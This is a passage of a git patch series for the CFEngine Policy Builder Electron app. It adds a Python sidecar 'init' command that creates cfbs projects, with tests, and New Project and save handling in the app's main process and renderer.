From fca1a65805be37e666290d9cbbabe42d21b8d84f Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 29 Sep 2026 16:52:14 +0300 Subject: [PATCH 001/141] Added a cfbs init operation to the Python sidecar The sidecar now takes a subcommand: format (the default, as before) or init, which reads JSON on stdin and prints a JSON result. init runs cfbs init in-process, sets the project's name and description (cfbs has no flags for them), writes the builder's own cfbs.json content, and makes one git commit if asked. Anything it created is removed on failure. Masterfiles must be an exact version, master or no: cfbs 5.7.0 can't parse 3.24.x-style branches. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- python/README.md | 21 ++- python/cfpb-backend.spec | 3 +- python/cfpb_backend.py | 233 +++++++++++++++++++++++-- python/tests/test_cfpb_backend.py | 281 ++++++++++++++++++++++++++++-- src/main/backend.ts | 75 ++++++-- 5 files changed, 570 insertions(+), 43 deletions(-) diff --git a/python/README.md b/python/README.md index 0ebb2a3..c76eed2 100644 --- a/python/README.md +++ b/python/README.md @@ -1,15 +1,30 @@ # cfpb-backend Python sidecar hosting the CFEngine toolchain. Electron spawns it once per -action: policy in on stdin, formatted policy out on stdout, errors on stderr -with a non-zero exit. +action: input on stdin, result on stdout, diagnostics on stderr with a +non-zero exit. + +| Subcommand | stdin | stdout | exit codes | +| --- | --- | --- | --- | +| `format` (also the default with no subcommand) | policy | formatted policy | 1 syntax error, 2 other | +| `init` | `{"directory", "name", "description", "masterfiles", "git"}` | `{"path", "masterfiles"}` | 1 failed (cleaned up), 2 invalid input (nothing touched) | + +`init` runs `cfbs init` in-process (non-interactive, `--git=no`) in `directory`, +which must be absent or empty, with an existing parent. `masterfiles` is an +exact version (`3.27.1`), `master`, or `no`; cfbs 5.7.0 mishandles branch names +like `3.24.x`, so they are refused. It then writes `name`/`description` into +`cfbs.json` via `cfbs.pretty`, and with `git` makes one commit (falling back to +cfbs's `cfbs ` identity if git has none). The result's +`masterfiles` is the build entry cfbs wrote, or `null`. All cfbs output goes to +stderr; the last stderr line is a one-line summary for the UI. Any failure +removes what init created. Managed with [uv](https://docs.astral.sh/uv/), which also fetches the interpreter pinned in `.python-version`. ```sh uv sync # .venv + deps -uv run pytest +uv run pytest # CFPB_NETWORK_TESTS=1 adds masterfiles downloads uv run black . # no linter here uv run pyinstaller --clean --noconfirm cfpb-backend.spec # → dist/cfpb-backend/ ``` diff --git a/python/cfpb-backend.spec b/python/cfpb-backend.spec index 30f5ada..cd8d3b2 100644 --- a/python/cfpb-backend.spec +++ b/python/cfpb-backend.spec @@ -17,7 +17,8 @@ for package in ("tree_sitter", "tree_sitter_cfengine"): binaries += package_binaries # Named so a missing module fails the build, not the packaged app. -hiddenimports = ["cfengine_cli.format", "cfengine_cli.lint", "cfbs.pretty"] +# cfbs.main is imported lazily by `init`; its own imports are all static. +hiddenimports = ["cfengine_cli.format", "cfengine_cli.lint", "cfbs.main", "cfbs.pretty"] a = Analysis( ["cfpb_backend.py"], diff --git a/python/cfpb_backend.py b/python/cfpb_backend.py index 830da57..08a68c6 100644 --- a/python/cfpb_backend.py +++ b/python/cfpb_backend.py @@ -1,29 +1,47 @@ -"""Formats CFEngine policy read from stdin, writing the result to stdout. +"""CFEngine toolchain sidecar: one process per user action, result on stdout, +diagnostics on stderr, non-zero exit on failure. -Spawned once per Format click. Same contract as `black --stdin`: text in, text -out, errors on stderr with a non-zero exit. + cfpb-backend [format] policy on stdin -> formatted policy on stdout + cfpb-backend init JSON options on stdin -> JSON result on stdout -Calls cfengine_cli in-process because `cfengine format` only rewrites files in -place and reports errors as prose. Import cfengine_cli.format, never +Calls cfengine_cli and cfbs in-process. Import cfengine_cli.format, never cfengine_cli.main — that one pulls in cf_remote and ~27 MB of libcloud. """ from __future__ import annotations +import argparse +import contextlib +import json +import os +import re +import shutil +import socket +import subprocess import sys +from collections import OrderedDict +from typing import Iterator from cfengine_cli.format import format_policy_fin_fout from cfengine_cli.lint import PolicySyntaxError LINE_LENGTH = 80 +INIT_COMMIT_MESSAGE = "Initialized a new CFEngine Build project" +# Exact versions, "master", or "no". cfbs 5.7.0 mishandles branch names like 3.24.x. +MASTERFILES = re.compile(r"^(\d+\.\d+\.\d+(-\d+)?|master|no)$") +# Substrings of cfbs/git output that mean the download failed, not the input. +NETWORK_HINTS = ("network", "failed to fetch", "failed to get json", "failed to find branch", "could not resolve") -def main() -> int: - # Windows would otherwise decode stdio with the ANSI code page. - for stream in (sys.stdin, sys.stdout): - if hasattr(stream, "reconfigure"): - stream.reconfigure(encoding="utf-8") +class InvalidInput(Exception): + """Bad request: exit 2, nothing touched.""" + +class InitFailed(Exception): + """Init went wrong after we started touching the disk: exit 1, cleaned up.""" + + +def format_command() -> int: try: format_policy_fin_fout(sys.stdin, sys.stdout, LINE_LENGTH, False) except PolicySyntaxError as error: @@ -32,14 +50,203 @@ def main() -> int: print(f"Syntax error at line {error.line}, column {error.column}", file=sys.stderr) return 1 except Exception as error: - # Anything else is a sidecar or packaging fault, not the user's policy. - # Keep it to one line: the renderer shows stderr verbatim, and a - # traceback full of site-packages paths helps nobody there. + # A sidecar or packaging fault. One line: the renderer shows stderr verbatim. print(f"Formatting backend failed: {type(error).__name__}: {error}", file=sys.stderr) return 2 + return 0 + + +def _parse_init_options(text: str) -> dict: + try: + options = json.loads(text) + except json.JSONDecodeError as error: + raise InvalidInput(f"Invalid JSON on stdin: {error}") + if not isinstance(options, dict): + raise InvalidInput("Expected a JSON object on stdin") + + for key, kind in (("directory", str), ("name", str), ("description", str), ("masterfiles", str), ("git", bool)): + if not isinstance(options.get(key), kind): + raise InvalidInput(f'"{key}" must be a {"boolean" if kind is bool else "string"}') + + directory = options["directory"] + if not os.path.isabs(directory): + raise InvalidInput(f"Directory must be an absolute path: {directory}") + directory = os.path.normpath(directory) + if not os.path.isdir(os.path.dirname(directory)): + raise InvalidInput(f"Parent folder doesn't exist: {os.path.dirname(directory)}") + if os.path.lexists(directory) and (not os.path.isdir(directory) or os.listdir(directory)): + raise InvalidInput(f"{directory} already exists and isn't an empty folder") + if not options["name"].strip(): + raise InvalidInput("Project name must not be empty") + if not MASTERFILES.match(options["masterfiles"]): + raise InvalidInput(f"Unsupported masterfiles value: {options['masterfiles']}") + content = options.get("content") + if content is not None and not ( + isinstance(content, dict) and isinstance(content.get("meta"), dict) and isinstance(content.get("modules"), list) + ): + raise InvalidInput('"content" must be {"meta": {...}, "modules": [...]}') + + return {**options, "directory": directory} + + +class _Tee: + """Writes to stderr and keeps a copy, so failures can be classified.""" + + def __init__(self, stream): + self.stream, self.chunks = stream, [] + + def write(self, text: str) -> int: + self.chunks.append(text) + return self.stream.write(text) + + def flush(self): + self.stream.flush() + + +@contextlib.contextmanager +def _cfbs_session(directory: str, argv: list[str]) -> Iterator[_Tee]: + """cfbs reads sys.argv, prints to stdout and works in the cwd; contain all three.""" + tee = _Tee(sys.stderr) + saved_argv, saved_cwd = sys.argv, os.getcwd() + # Children cfbs spawns inherit fd 1 too, so point it at stderr as well. + sys.stdout.flush() + saved_fd = os.dup(1) + os.dup2(2, 1) + try: + sys.argv = ["cfbs", *argv] + os.chdir(directory) + with contextlib.redirect_stdout(tee): + yield tee + finally: + os.chdir(saved_cwd) + sys.argv = saved_argv + sys.stderr.flush() + os.dup2(saved_fd, 1) + os.close(saved_fd) + + +def _run_cfbs_init(directory: str, masterfiles: str) -> None: + import cfbs.main + from cfbs.cfbs_config import CFBSConfig + + CFBSConfig.instance = None # process-wide singleton; stale if init ran before in this process + argv = ["--non-interactive", f"--masterfiles={masterfiles}", "--git=no", "init"] + with _cfbs_session(directory, argv) as tee: + code = cfbs.main.main() + if code == 0: + return + + output = "".join(tee.chunks) + if masterfiles != "no" and any(hint in output.lower() for hint in NETWORK_HINTS): + raise InitFailed(f"Couldn't download masterfiles {masterfiles} — check your network connection.") + errors = [line[len("Error: ") :] for line in output.splitlines() if line.startswith("Error: ")] + raise InitFailed(f"cfbs init failed: {errors[-1]}" if errors else f"cfbs init failed (exit {code})") + +def _update_cfbs_json(directory: str, options: dict) -> dict: + from cfbs.pretty import CFBS_DEFAULT_SORTING_RULES, pretty + + path = os.path.join(directory, "cfbs.json") + with open(path, encoding="utf-8") as file: + config = json.load(file, object_pairs_hook=OrderedDict) + config["name"] = options["name"] + config["description"] = options["description"] + config["git"] = options["git"] # what `cfbs init --git=yes` would have written + # The builder's own meta and modules, in before the initial commit. + content = options.get("content") + if content: + config["meta"] = {**config.get("meta", {}), **content["meta"]} + config["build"] = [*config.get("build", []), *content["modules"]] + with open(path, "w", encoding="utf-8") as file: + file.write(pretty(config, CFBS_DEFAULT_SORTING_RULES) + "\n") + return config + + +def _git(directory: str, *args: str, echo: bool = True) -> subprocess.CompletedProcess: + result = subprocess.run(["git", *args], cwd=directory, capture_output=True, text=True) + for output in (result.stdout, result.stderr) if echo else (): + if output.strip(): + print(output.rstrip(), file=sys.stderr) + return result + + +def _git_commit_all(directory: str) -> None: + for args in (("init", "--quiet"), ("add", "--all")): + if _git(directory, *args).returncode != 0: + raise InitFailed(f"git {args[0]} failed") + # Same fallback identity cfbs uses when git has none configured. + identity = [] + for key, fallback in (("user.name", "cfbs"), ("user.email", f"cfbs@{socket.gethostname()}")): + if not _git(directory, "config", key, echo=False).stdout.strip(): + identity += ["-c", f"{key}={fallback}"] + if _git(directory, *identity, "commit", "--quiet", "-m", INIT_COMMIT_MESSAGE).returncode != 0: + raise InitFailed("git commit failed") + + +def _clean_up(directory: str, created: bool) -> None: + if created: + shutil.rmtree(directory, ignore_errors=True) + return + # It was empty before we started, so everything in it is ours. + for entry in os.listdir(directory): + path = os.path.join(directory, entry) + if os.path.isdir(path) and not os.path.islink(path): + shutil.rmtree(path, ignore_errors=True) + else: + os.unlink(path) + + +def init_command() -> int: + try: + options = _parse_init_options(sys.stdin.read()) + except InvalidInput as error: + print(error, file=sys.stderr) + return 2 + + # masterfiles from a branch is a git clone, even without our own git step. + if (options["git"] or options["masterfiles"] == "master") and not shutil.which("git"): + print("Git isn't installed or isn't on PATH — install it, or create the project without git.", file=sys.stderr) + return 1 + + directory = options["directory"] + created = not os.path.exists(directory) + try: + if created: + os.mkdir(directory) + _run_cfbs_init(directory, options["masterfiles"]) + config = _update_cfbs_json(directory, options) + if options["git"]: + _git_commit_all(directory) + except Exception as error: + _clean_up(directory, created) + message = str(error) if isinstance(error, InitFailed) else f"Init failed: {type(error).__name__}: {error}" + print(message, file=sys.stderr) + return 1 + + masterfiles = None + if options["masterfiles"] != "no": + build = config.get("build", []) + masterfiles = next( + (entry for entry in build if entry.get("name") == "masterfiles"), build[0] if build else None + ) + print(json.dumps({"path": directory, "masterfiles": masterfiles})) return 0 +def main(argv: list[str] | None = None) -> int: + # Windows would otherwise decode stdio with the ANSI code page. + for stream in (sys.stdin, sys.stdout, sys.stderr): + if hasattr(stream, "reconfigure"): + stream.reconfigure(encoding="utf-8") + + parser = argparse.ArgumentParser(prog="cfpb-backend") + commands = parser.add_subparsers(dest="command") + commands.add_parser("format", help="format CFEngine policy (the default)") + commands.add_parser("init", help="create a cfbs project") + args = parser.parse_args(sys.argv[1:] if argv is None else argv) + + return init_command() if args.command == "init" else format_command() + + if __name__ == "__main__": sys.exit(main()) diff --git a/python/tests/test_cfpb_backend.py b/python/tests/test_cfpb_backend.py index 5f4f9d1..e69d0e6 100644 --- a/python/tests/test_cfpb_backend.py +++ b/python/tests/test_cfpb_backend.py @@ -1,44 +1,77 @@ -"""Tests for the formatter's stdin/stdout contract.""" +"""Tests for the sidecar's stdin/stdout contract: `format` and `init`.""" from __future__ import annotations import io +import json +import os +import shutil +import subprocess +import sys +from pathlib import Path import pytest +import cfpb_backend from cfpb_backend import main UNFORMATTED = 'bundle agent main\n{\n reports:\n "hello" ;\n}\n' FORMATTED = 'bundle agent main\n{\n reports:\n "hello";\n}\n' +needs_git = pytest.mark.skipif(shutil.which("git") is None, reason="needs git") +# Downloads masterfiles; opt in with CFPB_NETWORK_TESTS=1. +network = pytest.mark.skipif(os.environ.get("CFPB_NETWORK_TESTS") != "1", reason="set CFPB_NETWORK_TESTS=1") -def _run(policy: str, monkeypatch: pytest.MonkeyPatch) -> tuple[int, str, str]: - """Run the formatter over `policy`, returning (exit code, stdout, stderr).""" + +def _run(argv: list[str], stdin: str, monkeypatch: pytest.MonkeyPatch) -> tuple[int, str, str]: + """Run the sidecar in-process, returning (exit code, stdout, stderr).""" stdout, stderr = io.StringIO(), io.StringIO() - monkeypatch.setattr("sys.stdin", io.StringIO(policy)) + monkeypatch.setattr("sys.stdin", io.StringIO(stdin)) monkeypatch.setattr("sys.stdout", stdout) monkeypatch.setattr("sys.stderr", stderr) - return main(), stdout.getvalue(), stderr.getvalue() + return main(argv), stdout.getvalue(), stderr.getvalue() + + +# --- format --- def test_formats_policy(monkeypatch: pytest.MonkeyPatch): - code, stdout, stderr = _run(UNFORMATTED, monkeypatch) + code, stdout, stderr = _run(["format"], UNFORMATTED, monkeypatch) assert code == 0 assert stdout == FORMATTED assert stderr == "" +def test_no_subcommand_means_format(monkeypatch: pytest.MonkeyPatch): + code, stdout, _ = _run([], UNFORMATTED, monkeypatch) + + assert code == 0 + assert stdout == FORMATTED + + +def test_cli_without_subcommand_still_formats(): + result = subprocess.run( + [sys.executable, "-m", "cfpb_backend"], + input=UNFORMATTED, + capture_output=True, + text=True, + cwd=Path(__file__).resolve().parents[1], + ) + + assert (result.returncode, result.stdout) == (0, FORMATTED) + + def test_leaves_formatted_policy_alone(monkeypatch: pytest.MonkeyPatch): - code, stdout, _ = _run(FORMATTED, monkeypatch) + code, stdout, _ = _run(["format"], FORMATTED, monkeypatch) assert code == 0 assert stdout == FORMATTED def test_reports_a_syntax_error_on_stderr(monkeypatch: pytest.MonkeyPatch): - code, stdout, stderr = _run("bundle agent {{{ broken\n", monkeypatch) + code, stdout, stderr = _run(["format"], "bundle agent {{{ broken\n", monkeypatch) assert code == 1 # Nothing on stdout, so a failure can never be mistaken for formatted policy. @@ -47,7 +80,7 @@ def test_reports_a_syntax_error_on_stderr(monkeypatch: pytest.MonkeyPatch): def test_accepts_empty_input(monkeypatch: pytest.MonkeyPatch): - code, _, stderr = _run("", monkeypatch) + code, _, stderr = _run(["format"], "", monkeypatch) assert code == 0 assert stderr == "" @@ -60,8 +93,236 @@ def explode(*_args): raise RuntimeError("tree-sitter went sideways") monkeypatch.setattr("cfpb_backend.format_policy_fin_fout", explode) - code, stdout, stderr = _run(FORMATTED, monkeypatch) + code, stdout, stderr = _run(["format"], FORMATTED, monkeypatch) assert code == 2 assert stdout == "" assert stderr == "Formatting backend failed: RuntimeError: tree-sitter went sideways\n" + + +# --- init --- + + +def _options(directory: Path, **overrides) -> dict: + return { + "directory": str(directory), + "name": "Web servers", + "description": "Policy for the web tier", + "masterfiles": "no", + "git": False, + **overrides, + } + + +def _init(options, monkeypatch: pytest.MonkeyPatch) -> tuple[int, str, str]: + return _run(["init"], options if isinstance(options, str) else json.dumps(options), monkeypatch) + + +def _cfbs_json(directory: Path) -> dict: + return json.loads((directory / "cfbs.json").read_text()) + + +def test_init_without_masterfiles_or_git(tmp_path: Path, monkeypatch: pytest.MonkeyPatch): + project = tmp_path / "project" + code, stdout, stderr = _init(_options(project), monkeypatch) + + assert code == 0, stderr + assert json.loads(stdout) == {"path": str(project), "masterfiles": None} + assert _cfbs_json(project) == { + "name": "Web servers", + "description": "Policy for the web tier", + "type": "policy-set", + "git": False, + "build": [], + } + assert sorted(os.listdir(project)) == ["cfbs.json"] + # cfbs's chatter went to stderr, not into the JSON result. + assert "Initialized an empty project" in stderr + + +def test_init_into_an_existing_empty_directory(tmp_path: Path, monkeypatch: pytest.MonkeyPatch): + code, stdout, stderr = _init(_options(tmp_path), monkeypatch) + + assert code == 0, stderr + assert json.loads(stdout)["path"] == str(tmp_path) + assert _cfbs_json(tmp_path)["name"] == "Web servers" + + +def test_init_restores_the_cwd(tmp_path: Path, monkeypatch: pytest.MonkeyPatch): + before = os.getcwd() + _init(_options(tmp_path / "project"), monkeypatch) + + assert os.getcwd() == before + + +def _log(directory: Path, format: str) -> list[str]: + return subprocess.run( + ["git", "log", f"--format={format}"], cwd=directory, capture_output=True, text=True, check=True + ).stdout.splitlines() + + +@needs_git +def test_init_with_git_makes_one_commit(tmp_path: Path, monkeypatch: pytest.MonkeyPatch): + project = tmp_path / "project" + code, stdout, stderr = _init(_options(project, git=True), monkeypatch) + + assert code == 0, stderr + assert json.loads(stdout) == {"path": str(project), "masterfiles": None} + assert _cfbs_json(project)["git"] is True + assert _log(project, "%s") == ["Initialized a new CFEngine Build project"] + tracked = subprocess.run(["git", "ls-files"], cwd=project, capture_output=True, text=True).stdout + assert tracked.split() == ["cfbs.json"] + + +CONTENT = { + "meta": { + "policy-builder": {"schema_version": 1, "folders": [], "files": [{"id": "f1", "path": "./policy/web.cf"}]} + }, + "modules": [{"name": "./policy/web.cf", "added_by": "cfbs add", "steps": ["bundles web:main"]}], +} + + +@needs_git +def test_init_writes_the_builder_content_before_committing(tmp_path: Path, monkeypatch: pytest.MonkeyPatch): + project = tmp_path / "project" + code, _stdout, stderr = _init(_options(project, git=True, content=CONTENT), monkeypatch) + + assert code == 0, stderr + config = _cfbs_json(project) + assert config["meta"] == CONTENT["meta"] + assert config["build"] == CONTENT["modules"] + status = subprocess.run(["git", "status", "--porcelain"], cwd=project, capture_output=True, text=True).stdout + assert status == "" + + +def test_init_rejects_malformed_content(tmp_path: Path, monkeypatch: pytest.MonkeyPatch): + project = tmp_path / "project" + code, _stdout, _stderr = _init(_options(project, content={"meta": []}), monkeypatch) + + assert code == 2 + assert not project.exists() + + +@needs_git +def test_init_falls_back_to_the_cfbs_git_identity(tmp_path: Path, monkeypatch: pytest.MonkeyPatch): + monkeypatch.setenv("GIT_CONFIG_GLOBAL", os.devnull) + monkeypatch.setenv("GIT_CONFIG_NOSYSTEM", "1") + for variable in ("GIT_AUTHOR_NAME", "GIT_AUTHOR_EMAIL", "GIT_COMMITTER_NAME", "GIT_COMMITTER_EMAIL", "EMAIL"): + monkeypatch.delenv(variable, raising=False) + project = tmp_path / "project" + code, _, stderr = _init(_options(project, git=True), monkeypatch) + + assert code == 0, stderr + [author] = _log(project, "%an <%ae>") + assert author.startswith("cfbs { +// Spawns the sidecar with `args`, feeds `input` on stdin, and resolves with the +// raw outcome; rejects only when the process cannot be spawned at all. +function runSidecar(args: string[], input: string, timeoutMs: number): Promise { const { command, commandArgs } = resolveCommand(); if (!existsSync(command)) { return Promise.reject(new Error(`Python backend not found at ${command} — run \`npm run backend:build\` (or \`npm run backend:sync\` for development)`)); @@ -51,7 +53,7 @@ function runSidecar(input: string): Promise { return new Promise((resolve, reject) => { // `timeout` SIGTERMs a hung child, surfacing as 'close' with that signal. // No guard flag: settling an already-settled promise is a no-op. - const child = spawn(command, commandArgs, { windowsHide: true, timeout: TIMEOUT_MS }); + const child = spawn(command, [...commandArgs, ...args], { windowsHide: true, timeout: timeoutMs }); let stdout = ''; let stderr = ''; @@ -78,21 +80,62 @@ function runSidecar(input: string): Promise { }); } -// Maps a failed sidecar outcome to the message the UI shows the user. -function sidecarError(code: number | null, signal: NodeJS.Signals | null, stderr: string): Error { +// Maps a failed sidecar outcome to an Error: the last stderr line as the +// message (the sidecar's summary), the whole stderr as `details`. +function sidecarError({ code, signal, stderr }: SidecarResult, timeoutMs: number): Error & { details: string } { + const details = stderr.trim(); + const lastLine = details + .split(/\r?\n/) + .filter(line => line.trim()) + .pop(); + let message: string; // SIGTERM only ever comes from the spawn timeout - if (signal === 'SIGTERM') return new Error(`Process timed out after ${TIMEOUT_MS}ms`); - if (signal) return new Error(stderr || `Process was killed by ${signal}`); - return new Error(stderr || `Process failed (exit ${code})`); + if (signal === 'SIGTERM') message = `Process timed out after ${timeoutMs}ms`; + else message = lastLine ?? (signal ? `Process was killed by ${signal}` : `Process failed (exit ${code})`); + return Object.assign(new Error(message), { details }); +} + +// Forward diagnostics so sidecar warnings show in the Electron console. +function logStderr(stderr: string) { + if (stderr.trim()) console.error(`[cfpb-backend] ${stderr.trim()}`); } /** * Formats CFEngine policy, resolving with the formatted text */ export async function formatPolicy(source: string): Promise { - const { code, signal, stdout, stderr } = await runSidecar(source); - // Forward diagnostics so sidecar warnings show in the Electron console. - if (stderr.trim()) console.error(`[cfpb-backend] ${stderr.trim()}`); - if (code === 0) return stdout; - throw sidecarError(code, signal, stderr.trim()); + const result = await runSidecar(['format'], source, FORMAT_TIMEOUT_MS); + logStderr(result.stderr); + if (result.code === 0) return result.stdout; + throw sidecarError(result, FORMAT_TIMEOUT_MS); +} + +export type InitCfbsProjectOptions = { + // The builder's own cfbs.json content, written before the initial commit. + content?: { meta: Record; modules: unknown[] }; + description: string; + directory: string; + git: boolean; + masterfiles: string; + name: string; +}; + +export type InitCfbsProjectResult = { + masterfiles: Record | null; + path: string; +}; + +/** + * Creates a cfbs project in `directory` (absent or empty). Rejects with the + * sidecar's one-line summary as the message and its full stderr as `details`. + */ +export async function initCfbsProject(options: InitCfbsProjectOptions): Promise { + const result = await runSidecar(['init'], JSON.stringify(options), INIT_TIMEOUT_MS); + logStderr(result.stderr); + if (result.code !== 0) throw sidecarError(result, INIT_TIMEOUT_MS); + try { + return JSON.parse(result.stdout) as InitCfbsProjectResult; + } catch { + throw Object.assign(new Error('Python backend returned an unreadable init result'), { details: result.stdout }); + } } From 5cfd7f78459ca9a012f387b0d18c93cb9cb2db1d Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 29 Sep 2026 16:52:16 +0300 Subject: [PATCH 002/141] New Project now creates a cfbs project on disk, saved with Cmd+S The dialog asks for a description, a parent folder, a masterfiles version (latest 3.27, 3.24 LTS or master; exact patches from cfbs's version index) and whether to make a git repository. Cmd+S or File > Save writes the project into cfbs.json as a normal cfbs project: one plain local file module per policy file (folders are path prefixes), and all of the builder's own data in the top-level meta["policy-builder"]. Unsaved changes are marked, and closing or starting another project asks first. Try Demo stays in memory until saved. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- e2e/smoke.spec.ts | 13 + src/main/index.ts | 51 ++- src/main/project.ts | 282 +++++++++++++++++ src/preload/api.d.ts | 51 ++- src/preload/index.ts | 38 ++- src/renderer/src/App.tsx | 62 +++- .../src/components/ProjectStatusLabel.tsx | 33 ++ src/renderer/src/components/TopBar.tsx | 15 +- .../components/dialogs/NewProjectDialog.tsx | 298 +++++++++++++++--- .../dialogs/UnsavedChangesDialog.tsx | 31 ++ src/renderer/src/pages/NoProjectScreen.tsx | 9 +- src/renderer/src/pages/ProjectView.tsx | 20 +- .../src/pages/useKeyboardShortcuts.ts | 8 +- src/renderer/src/project/cfbsProject.test.ts | 96 ++++++ src/renderer/src/project/cfbsProject.ts | 223 +++++++++++++ src/renderer/src/project/useProjectSession.ts | 153 +++++++++ src/renderer/src/store/history.ts | 4 +- src/renderer/src/store/projectSlice/index.ts | 12 +- src/renderer/src/store/projectSlice/types.ts | 5 + 19 files changed, 1324 insertions(+), 80 deletions(-) create mode 100644 src/main/project.ts create mode 100644 src/renderer/src/components/ProjectStatusLabel.tsx create mode 100644 src/renderer/src/components/dialogs/UnsavedChangesDialog.tsx create mode 100644 src/renderer/src/project/cfbsProject.test.ts create mode 100644 src/renderer/src/project/cfbsProject.ts create mode 100644 src/renderer/src/project/useProjectSession.ts diff --git a/e2e/smoke.spec.ts b/e2e/smoke.spec.ts index 45c2618..b6a0dea 100644 --- a/e2e/smoke.spec.ts +++ b/e2e/smoke.spec.ts @@ -33,6 +33,8 @@ test.afterEach(async ({}, testInfo) => { await window.screenshot({ path }); await testInfo.attach('screenshot', { path, contentType: 'image/png' }); } + // exit() skips the unsaved-changes prompt a plain close() would wait on. + await app?.evaluate(({ app: electronApp }) => electronApp.exit(0)).catch(() => {}); await app?.close(); rmSync(userDataDir, { recursive: true, force: true }); }); @@ -87,5 +89,16 @@ test('demo project: switch files, delete + undo, add and rename a block', async await expect(window.locator('.react-flow').getByText('Copy the motd', { exact: true })).toBeVisible(); }); + await test.step('closing the window with unsaved changes asks first', async () => { + await expect + .poll(() => app.evaluate(({ BrowserWindow }) => BrowserWindow.getAllWindows()[0].getTitle())) + .toBe('Nginx Web Server Demo — CFEngine Policy Builder'); + await app.evaluate(({ BrowserWindow }) => BrowserWindow.getAllWindows()[0].close()); + const prompt = window.getByRole('dialog', { name: /save changes/i }); + await expect(prompt).toBeVisible(); + await prompt.getByRole('button', { name: 'Cancel' }).click(); + await expect(prompt).toBeHidden(); + }); + expect(consoleErrors, 'console errors during the run').toEqual([]); }); diff --git a/src/main/index.ts b/src/main/index.ts index 7768a9d..d77ed76 100644 --- a/src/main/index.ts +++ b/src/main/index.ts @@ -5,6 +5,14 @@ import { basename, join } from 'path'; import { pathToFileURL } from 'url'; import { formatPolicy } from './backend'; +import { registerProjectHandlers } from './project'; + +const APP_TITLE = 'CFEngine Policy Builder'; +const MAX_TITLE_LENGTH = 200; + +// Per window: unsaved changes (from window:set-document), and whether the user already agreed to lose them. +const documentState = new WeakMap(); +let quitting = false; // Sidebar/palette resize state the renderer asks us to persist across // launches — kept as its own small file rather than folded into a future @@ -78,6 +86,7 @@ function buildApplicationMenu(mainWindow: BrowserWindow): Menu { submenu: [ { label: 'New Project…', accelerator: 'CmdOrCtrl+N', click: send('menu:new-project') }, { label: 'Open Project…', accelerator: 'CmdOrCtrl+O', click: send('menu:open-project') }, + { label: 'Save', accelerator: 'CmdOrCtrl+S', click: send('menu:save') }, { type: 'separator' }, { label: 'Try Demo: Web Server Hardening', click: send('menu:try-demo') }, { type: 'separator' }, @@ -100,7 +109,7 @@ function createWindow(): void { minHeight: 600, show: false, autoHideMenuBar: true, - title: 'CFEngine Policy Builder', + title: APP_TITLE, backgroundColor: nativeTheme.shouldUseDarkColors ? '#21262A' : '#ffffff', webPreferences: { preload: join(__dirname, '../preload/index.js'), @@ -110,6 +119,17 @@ function createWindow(): void { }); Menu.setApplicationMenu(buildApplicationMenu(mainWindow)); + documentState.set(mainWindow, { closeConfirmed: false, edited: false, quitAfterClose: false }); + + // With unsaved changes the renderer asks Save / Don't Save / Cancel, then confirms via window:close-confirmed. + mainWindow.on('close', event => { + const state = documentState.get(mainWindow); + if (!state?.edited || state.closeConfirmed) return; + event.preventDefault(); + state.quitAfterClose = quitting; + quitting = false; + mainWindow.webContents.send('window:close-requested'); + }); mainWindow.on('ready-to-show', () => { mainWindow.show(); @@ -151,6 +171,30 @@ app.whenReady().then(() => { return nativeTheme.shouldUseDarkColors; }); + ipcMain.handle('window:set-document', (event, document: { edited?: unknown; title?: unknown }) => { + if (!isTrustedFrame(event.senderFrame)) throw new Error('untrusted sender'); + const window = BrowserWindow.fromWebContents(event.sender); + const state = window && documentState.get(window); + if (!window || !state) return; + const { edited, title } = document ?? {}; + if (typeof edited !== 'boolean' || (title !== null && typeof title !== 'string')) throw new Error('invalid document state'); + state.edited = edited; + window.setTitle(title ? `${title.slice(0, MAX_TITLE_LENGTH)} — ${APP_TITLE}` : APP_TITLE); + if (process.platform === 'darwin') window.setDocumentEdited(edited); + }); + + ipcMain.handle('window:close-confirmed', event => { + if (!isTrustedFrame(event.senderFrame)) throw new Error('untrusted sender'); + const window = BrowserWindow.fromWebContents(event.sender); + const state = window && documentState.get(window); + if (!window || !state) return; + state.closeConfirmed = true; + if (state.quitAfterClose) app.quit(); + else window.close(); + }); + + registerProjectHandlers(isTrustedFrame); + ipcMain.handle('policy:format', (event, source: unknown) => { if (!isTrustedFrame(event.senderFrame)) throw new Error('untrusted sender'); // Arguments crossing the bridge are untrusted input, even from our own @@ -203,6 +247,11 @@ app.whenReady().then(() => { }); }); +// A quit (⌘Q) goes through each window's 'close'; if one asks first, quit again once it is confirmed. +app.on('before-quit', () => { + quitting = true; +}); + app.on('window-all-closed', () => { if (process.platform !== 'darwin') { app.quit(); diff --git a/src/main/project.ts b/src/main/project.ts new file mode 100644 index 0000000..d07a055 --- /dev/null +++ b/src/main/project.ts @@ -0,0 +1,282 @@ +import { BrowserWindow, app, dialog, ipcMain, shell } from 'electron'; +import type { IpcMainInvokeEvent, OpenDialogOptions, WebFrameMain } from 'electron'; +import { constants, promises as fs } from 'fs'; +import { dirname, isAbsolute, join, normalize } from 'path'; + +import type { CreateProjectRequest, MasterfilesVersions, OperationResult, ProjectContent, TargetCheck } from '../preload/api'; +import { initCfbsProject } from './backend'; + +/** + * The project:* IPC channels: creating a cfbs project on disk (via the Python + * sidecar) and saving the builder's state into its cfbs.json. + */ + +// The builder's key under cfbs.json's top-level `meta`. +const META_KEY = 'policy-builder'; +const VERSIONS_URL = 'https://raw.githubusercontent.com/cfengine/build-index/master/versions.json'; +const VERSIONS_TIMEOUT_MS = 5000; +const FALLBACK_VERSIONS: MasterfilesVersions = { latest: '3.27.1', lts: '3.24.4' }; +const FOLDER_NAME = /^[a-z0-9][a-z0-9_-]{0,99}$/; +const MASTERFILES = /^(\d+\.\d+\.\d+(-\d+)?|master|no)$/; +const MAX_PATH_LENGTH = 4096; +const MAX_CONTENT_BYTES = 50_000_000; + +// Project folders this session created; saves may only write into these. +const knownProjects = new Set(); + +let versionsRequest: Promise | null = null; + +class InvalidRequest extends Error {} + +interface AppSettings { + lastProjectParent?: string; +} + +const settingsPath = () => join(app.getPath('userData'), 'app-settings.json'); + +async function readSettings(): Promise { + try { + const parsed = JSON.parse(await fs.readFile(settingsPath(), 'utf-8')); + return typeof parsed === 'object' && parsed !== null ? parsed : {}; + } catch { + return {}; + } +} + +async function writeSettings(patch: AppSettings): Promise { + await writeFileAtomic(settingsPath(), JSON.stringify({ ...(await readSettings()), ...patch }, null, 